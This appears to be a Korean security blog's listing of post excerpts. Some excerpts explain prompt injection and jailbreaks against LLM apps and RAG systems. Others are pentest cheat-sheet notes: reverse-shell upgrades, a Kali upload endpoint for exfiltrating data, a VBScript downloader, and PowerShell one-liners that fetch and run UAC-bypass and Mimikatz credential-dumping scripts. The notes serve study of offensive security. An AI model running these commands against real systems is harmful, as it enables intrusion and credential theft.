프롬프트 인젝션(Prompt Injection)과 탈옥(Jailbreak)의 차이점 및 발생 원인 프롬프트 인젝션과 탈옥은 모두 AI의 의도된 동작을 비틀어 악용하는 기법이지만, 공격의 목적과 대상의 차이가 있다. 프롬프트 인젝션은 개발자가 짜놓은 업무 지시 및 비즈니스 로직을 무너뜨리는 행위이다. 챗봇이나 RAG 시스템을 구축시 프롬프트에 넣어놓은 룰을 인젝션을 통해 강제로 덮어씌우는 것이다. 그렇게 되면 서비스의 원래 방향에서 벗어나게 하거나 연결된 DB및 외부 툴 권한을 악용하여 내부 정보를 가져오게 만든다. 즉, 타겟은 명백히 어플리케이션 및 시스템 이란 것이다. 탈옥의 경우 서비스 개발자가 아닌 윤리적 가드레인을 타겟으로 한다. AI에서 불법적인 콘텐츠를 생성하지 못하게 RLHF(안전훈련)을..
배너 그래빙 (Banner Grabbing)텔넷(Telnet)telnet 10.0.0.3 143 넷캣(Netcat)nc -n 10.0.0.3 143 Openssl (IMAPS 접속 시)openssl s_client -connect 10.0.0.3:993 NTLM 정보 노출 취약점 (NTLM Information Disclosure)수동 테스트:telnet example.com 143...>> a1 AUTHENTICATE NTLM+>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQA..
프롬프트 인젝션은 전통적인 해킹 기법인 SQL 인젝션과 맥락이 비슷하지만 공격이 먹히는 이유와 구조적 근원이 완전히 다르다. 컴퓨터 과학의 기본 철칙 중 하나는 데이터와 명령어는 엄격히 분리되어야 한다는 것이다. 전통적인 웹 앱에서는 사용자가 입력한 문자열인 데이터가 프로그램의 로직 즉, 명령어를 직접 건드릴 수 없도록 Escape 처리를 하거나 파라미터화된 쿼리를 쓴다. 하지만 LLM은 이 철칙이 통하지 않는다. LLM은 입력받은 자연어 텍스트를 분석해 '다음에 올 가장 그럴듯한 토큰'을 예측하는 모델이다. 즉, 개발자가 입력해 둔 명령어와 사용자가 타이핑한 데이터가 결국 똑같은 텍스트 형태로 모델의 컨텍스트 창에 들어간다. 모델 입장에서는 무엇이 개발자의 지시사항이고, 무엇이 사용자가 던진 잡다한..
우선 일반적인 웹/앱 취약점과 LLM기반 취약점의 차이를 알아보도록하자.크게 말하면 근본적인 원인과 공격 벡터의 차이이다. 우선 웹/앱의 경우 코드가 망가진다. SQL Injection, XSS, 권한통제 등 전부 로직의 실수 혹은 버그로 발생한다. 입력값 통제, 문자열 오인 등의 원인으로 발생한다는 것이다. 다만 LLM 앱은 자연어를 입력받아 확률적으로 다음 토큰을 예측한다. 이는 텍스트가 명령어이자 공격 벡터가 된다는 의미이다. 두번째로 신뢰할 수 있는 데이터의 범위가 다르다. 웹/앱의 경우 데이터를 이스케이프 처리를 통해 간단하게 범위를 만들 수 있다. 하지만 LLM 앱은 RAG(검색 증강 생성)나 에이전트 구조 때문에 외부 웹페이지, 이메일 본문, 사용자가 업로드한 문서, 심지어 멀티모델 이미..
쉘 생성기 : https://www.revshells.com/ Online - Reverse Shell GeneratorOnline Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.www.revshells.com 대화형 셸 풀업 (Upgrading Non-Interactive Shell)python -c 'import pty; pty.spawn("/bin/bash");'[Ctrl + Z]stty raw -echo; fg Msfvenom(Metasploit Framework중 하나) 활용Windows 10 x64 리버스 셸 ..
윈도우 스크립트 언어로 파일 업로드 (데이터 유출)타겟 네트워크에서 윈도우 클라이언트를 통해 데이터 외부에 빼내야 할 때가 있음. 아웃바운드 HTTP 통신 열려있으면 칼리 Web Root(/var/www/html) 디렉토리에 아래 PHP 스크립트 만들어서 upload.php로 저장해두면 됨. 그 다음 uploads 폴더 새로 생성하고 www-data 유저가 파일 쓸 수 있게 소유권이랑 쓰기 권한 넘겨줘야 함kali@kali:/var/www$ sudo mkdir /var/www/uploadskali@kali:/var/www$ ps -ef | grep apachekali@kali:/var/www$ sudo chown www-data: /var/www/uploadskali@kali:/var/www$ ls -l..
스크립팅 언어를 활용한 윈도우 파일 다운로드VBScript로 HTTP 다운로더 스크립트 만들기:echo strUrl = WScript.Arguments.Item(0) > wget.vbsecho StrFile = WScript.Arguments.Item(1) >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbsecho Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbsecho Dim..
Powershell One-Liners# Invoke-BypassUAC를 호출하고 PowerShell 프롬프트를 관리자 권한으로 시작powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'"# Invoke-Mimikatz: 메모리에서 자격 증명 덤프powershell.exe -exec bypass -C "IEX (New-Object Net..